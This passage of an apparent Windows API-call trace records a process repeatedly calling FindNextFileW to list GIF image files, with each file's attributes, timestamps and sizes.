lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0069.148] 